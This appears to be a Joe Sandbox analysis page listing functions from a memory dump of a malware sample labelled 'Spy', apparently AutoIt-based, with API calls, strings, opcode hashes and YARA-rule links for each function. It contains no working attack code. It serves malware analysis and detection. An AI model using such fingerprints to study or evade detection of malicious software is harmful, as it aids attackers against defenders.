API String ID: 1539411459-0
Opcode ID: f2daae1cff7f5494c096d2e10d0f5dfa8a4d4dc93ef9725fe9750535833fafe4
Instruction ID: b977add5847bd41d1cdcb75ff16aee132551dcedc3c3ca005f1d273bbff7c743
Opcode Fuzzy Hash: f2daae1cff7f5494c096d2e10d0f5dfa8a4d4dc93ef9725fe9750535833fafe4
Instruction Fuzzy Hash: 05F0BE31045218BBDB126F55AC0EFCE3F99BF0A310F448040FA51621E1CBB416A5DBA9

Function 00ADAA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00ADAA6F
GetWindowThreadProcessId.USER32(?,00000000), ref: 00ADAA82
GetCurrentThreadId.KERNEL32 ref: 00ADAA89
AttachThreadInput.USER32(00000000), ref: 00ADAA90

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: e310340a574d058b6dd5d17797b901cb497a7fbf1cdcf076d0fb772d5f9f579f
Instruction ID: 8d82df5f76316cdb9bd6ba0ba8a0dbc019cb7873b0495cf3d9c4142d209ba4c7
Opcode Fuzzy Hash: e310340a574d058b6dd5d17797b901cb497a7fbf1cdcf076d0fb772d5f9f579f
Instruction Fuzzy Hash: 8AE0E53154522876DB216FA1DD0DED77F6CEF267E1F40C116F50995060CBB58590CBE1

Function 00A825F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00A8260D
SetTextColor.GDI32(?,000000FF), ref: 00A82617
SetBkMode.GDI32(?,00000001), ref: 00A8262C
GetStockObject.GDI32(00000005), ref: 00A82634
GetWindowDC.USER32(?,00000000), ref: 00ABC1C4
GetPixel.GDI32(00000000,00000000,00000000), ref: 00ABC1D1
GetPixel.GDI32(00000000,?,00000000), ref: 00ABC1EA
GetPixel.GDI32(00000000,00000000,?), ref: 00ABC203
GetPixel.GDI32(00000000,?,?), ref: 00ABC223
ReleaseDC.USER32(?,00000000), ref: 00ABC22E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 24e61949b54abef2f85cc311003d1068f344d6951caf4d2d9fce91918b647e73
Instruction ID: b18db6821f12a5bed5f2569a3cf0833cbfeda140c608cd17ae61bf8a0541cbf0
Opcode Fuzzy Hash: 24e61949b54abef2f85cc311003d1068f344d6951caf4d2d9fce91918b647e73
Instruction Fuzzy Hash: 6EE06D31514244BBDB216FB8BC49BE83B15EB15332F54C366FA69680E2CBB14AD0DB11

Function 00AD9330 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00AD9339
OpenThreadToken.ADVAPI32(00000000,?,?,?,00AD8F04), ref: 00AD9340
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00AD8F04), ref: 00AD934D
OpenProcessToken.ADVAPI32(00000000,?,?,?,00AD8F04), ref: 00AD9354

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 40c0be3564e177cbc3c0953c2bc8cda8a6ec1bc332bb4f2b6dc4cceff3ce8765
Instruction ID: 48e8ab8f4fc8becc10ff46ebba0c0f02aead099122f46f9197dbaba35c0da15c
Opcode Fuzzy Hash: 40c0be3564e177cbc3c0953c2bc8cda8a6ec1bc332bb4f2b6dc4cceff3ce8765
Instruction Fuzzy Hash: E7E04F366112159FD7202FB16D0DB973B6CAF56791F118818A246CF090EE749584C754

Function 00AC0679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00AC0679
GetDC.USER32(00000000), ref: 00AC0683
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00AC06A3
ReleaseDC.USER32(?), ref: 00AC06C4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 845c54679ac3cbb29024c4e6c82a1962f277ae1d4b73eda3172dbb59cf3f2361
Instruction ID: b5691c3da1e6b83412e5952375e8dbb1bfc8a93496b590599d419a8246ecef99
Opcode Fuzzy Hash: 845c54679ac3cbb29024c4e6c82a1962f277ae1d4b73eda3172dbb59cf3f2361
Instruction Fuzzy Hash: EEE0E571810204EFCB01AF60D808A9D7BB1AB8C310F51C009F85AE7210DFB885919F50

Function 00AC068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00AC068D
GetDC.USER32(00000000), ref: 00AC0697
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00AC06A3
ReleaseDC.USER32(?), ref: 00AC06C4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: c15b7d136e040355fed302cbe58d72bdc0f1c345fe6bace309029ddd8d5c2e14
Instruction ID: fe315722349c5d6a8c76757c63a7346cfa2b7a5bce59882d2ff8352fa2d5cd9e
Opcode Fuzzy Hash: c15b7d136e040355fed302cbe58d72bdc0f1c345fe6bace309029ddd8d5c2e14
Instruction Fuzzy Hash: 43E012B1810204AFCB02AFA0D80CA9D7BF2AB8C310F51C008F95AE7210DFB895918F50

Function 00AEB5EF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00A9436A: _wcscpy.LIBCMT ref: 00A9438D

Part of subcall function 00A84D37: __itow.LIBCMT ref: 00A84D62
Part of subcall function 00A84D37: __swprintf.LIBCMT ref: 00A84DAC

__wcsnicmp.LIBCMT ref: 00AEB670
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00AEB739

Strings

LPT, xrefs: 00AEB66A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: e0511f30c97e0450e9428a57b59369eed94db3654a0ee25defc8345a5bfb2ba8
Instruction ID: 95ab2c5c5d9f04da1bef498b60aba8614b4b361f66e7126c19a2ac21a6310b41
Opcode Fuzzy Hash: e0511f30c97e0450e9428a57b59369eed94db3654a0ee25defc8345a5bfb2ba8
Instruction Fuzzy Hash: CC61A275A10219EFCB14EF95C995EAFB7B4EF48310F118159F906AB391DB70AE40CBA0

Function 00A8E00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00A8E01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 00A8E037

Strings

@, xrefs: 00A8E02B

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: eb6a8e3768c31641c30ea7ce571ab78f4894104cbd1b53caf71c58b0a5dadb9f
Instruction ID: fdd1e391a4f6b10a60c178d9c5c99031897ad6ae9fa2e8d1f1b2104fdd4a8397
Opcode Fuzzy Hash: eb6a8e3768c31641c30ea7ce571ab78f4894104cbd1b53caf71c58b0a5dadb9f
Instruction Fuzzy Hash: 7A515A71408B459BE320AF50E885BAFBBF8FF88714F41884DF1D8411A1EF709529CB16

Function 00B08096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00B08186
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00B0819B

Strings

', xrefs: 00B080EF

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 189d2d7175bcb58c64444168666f8489b1f2ad55e1864e543c5c9d243cfe29a1
Instruction ID: a5b1612225847bed2b918ac5dda5effb4e03020bd6119669b457f44a7f717b6f
Opcode Fuzzy Hash: 189d2d7175bcb58c64444168666f8489b1f2ad55e1864e543c5c9d243cfe29a1
Instruction Fuzzy Hash: 35412874A002099FDB10CF64D881BEA7BF5FF09300F1045AAE944EB391DB70AA56CF90

Function 00AF2C5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AF2C6A
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00AF2CA0

Strings

|, xrefs: 00AF2C71

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 53925c479e8b2c26f131d00aa00cf70edb40f710fd2249e0dd9d443981c22f7a
Instruction ID: 71c5a006529fe08077895a8cd198b06aaad33e389d4a25f87c804cdc5aa28bad
Opcode Fuzzy Hash: 53925c479e8b2c26f131d00aa00cf70edb40f710fd2249e0dd9d443981c22f7a
Instruction Fuzzy Hash: E8314D71D00119ABCF11EFA1CD85AEFBFB9FF04340F100019F915AA262EB315956DBA0

Function 00B07088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00B0713C
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00B07178

Strings

static, xrefs: 00B070D8

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 8ea87dfc2a1a9f4b58bbccde2aca5834844f2a1a75430dd60250676f5342fa8b
Instruction ID: 17558bb82213bda5a51513f6a370020727ada08b977d0606b3c872b85fdcc7d8
Opcode Fuzzy Hash: 8ea87dfc2a1a9f4b58bbccde2aca5834844f2a1a75430dd60250676f5342fa8b
Instruction Fuzzy Hash: 52319C71540604AEEB109F78CC80BFBBBE9FF48720F109659F9A5971D0DA30AC81CB60

Function 00AE3049 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AE30B8
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00AE30F3

Strings

0, xrefs: 00AE30B1

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 414c333b0b9e7624693c8235511dc310ee9fa5588e9daba33863758e9d4289ed
Instruction ID: 11bb23001ed80b3f4938ed5c33f23e2d5d5af553de19b4b34d75720902ae3903
Opcode Fuzzy Hash: 414c333b0b9e7624693c8235511dc310ee9fa5588e9daba33863758e9d4289ed
Instruction Fuzzy Hash: D831F533600285ABEF248F5AC989BAEBBB8EF05350F14411DE981E71A0EB709B40CB50

Function 00AF40B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00AF4132

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Strings

, $, xrefs: 00AF4172
AUTOITCALLVARIABLE%d, xrefs: 00AF4124

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 06395b6453ae8a7ab9ecad5f02de3f9374bf8bb02e3fe5c358302de0d1a978d5
Instruction ID: 860326478b90fd616a50dac9f4cc3cfb6b7966b03e2f2af4f1ef25b8e798a5ff
Opcode Fuzzy Hash: 06395b6453ae8a7ab9ecad5f02de3f9374bf8bb02e3fe5c358302de0d1a978d5
Instruction Fuzzy Hash: C0219131A0021DABCF10EFA4C991EAE77F5EF58740F5004A5FA05A7281DB30EA85CBA5

Function 00B06CF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00B06D86
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B06D91

Strings

Combobox, xrefs: 00B06D53

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 8927f6401072dffb45cc0400eaa5593de995f71939414ae4316bb156dcaf06bc
Instruction ID: 031254e0bd8459e180e26e7547403650a999ff087cd3412b53b1b00583860c48
Opcode Fuzzy Hash: 8927f6401072dffb45cc0400eaa5593de995f71939414ae4316bb156dcaf06bc
Instruction Fuzzy Hash: 68116071710209AFEF259E54DC81FBB3FAAEB84364F214279F9149B2E0DA719C618760

Function 00B0722C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00A82111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00A8214F
Part of subcall function 00A82111: GetStockObject.GDI32(00000011), ref: 00A82163
Part of subcall function 00A82111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00A8216D

GetWindowRect.USER32(00000000,?), ref: 00B07296
GetSysColor.USER32(00000012), ref: 00B072B0

Strings

static, xrefs: 00B07273

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 359501132a7bb230bddbe3a373e0a4476b4f979069827a108f5199961d4a5f1e
Instruction ID: 4b3e8227cbbabb04b57c66fe2805ddfcc0165aa3126ee9a602b3103b3e6526c3
Opcode Fuzzy Hash: 359501132a7bb230bddbe3a373e0a4476b4f979069827a108f5199961d4a5f1e
Instruction Fuzzy Hash: BA211772A5420AAFDB04DFA8CC45EFABBE8EB09314F004658FD55D3290DB75E891DB60

Function 00B06F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00B06FC7
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00B06FD6

Strings

edit, xrefs: 00B06FAB

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 6543e62a2d6d86c9c274ac980dfa84f9221801c994fa437b5b9d22a91aed1eaa
Instruction ID: cca151b847fa1fee0fd3307721446fb471f01ae0af75667728e1f8fc280ad259
Opcode Fuzzy Hash: 6543e62a2d6d86c9c274ac980dfa84f9221801c994fa437b5b9d22a91aed1eaa
Instruction Fuzzy Hash: 55116D7111020AAFEB105E64AC84EEB3FAAEF15368F504754F965931E0CB75DCA09B60

Function 00AE3156 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AE31C9
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00AE31E8

Strings

0, xrefs: 00AE31BF

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: a76eeebea13667fd81c2a41ae9c25baf8109ed3d8885e4a42318a3cd768a2577
Instruction ID: 351bc5df960e386c7efd7c74128a4578d377b29290f82ac029c923c367218bd0
Opcode Fuzzy Hash: a76eeebea13667fd81c2a41ae9c25baf8109ed3d8885e4a42318a3cd768a2577
Instruction Fuzzy Hash: 2E110837900254ABDF20DB9ADC4DB9D77B8AF06310F184269E945A7290DB70EF05CB91

Function 00AF28A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00AF28F8
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00AF2921

Strings

<local>, xrefs: 00AF28E9

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 72067146ed442360c89c14d5e7f8f79ae5f3e78bfd0f706b1113070d66dc44be
Instruction ID: e297c43b75c85325e3e71647c8032584767c8086675ce17464f766b4538d8828
Opcode Fuzzy Hash: 72067146ed442360c89c14d5e7f8f79ae5f3e78bfd0f706b1113070d66dc44be
Instruction Fuzzy Hash: 5711A370501229BAEB258F918C89FF7FBACFF05791F10812AF64557140E7B05894D7E0

Function 00AF8475 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF86E0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00AF849D,?,00000000,?,?), ref: 00AF86F7

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00AF84A0
htons.WSOCK32(00000000,?,00000000), ref: 00AF84DD

Strings

255.255.255.255, xrefs: 00AF84B8

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

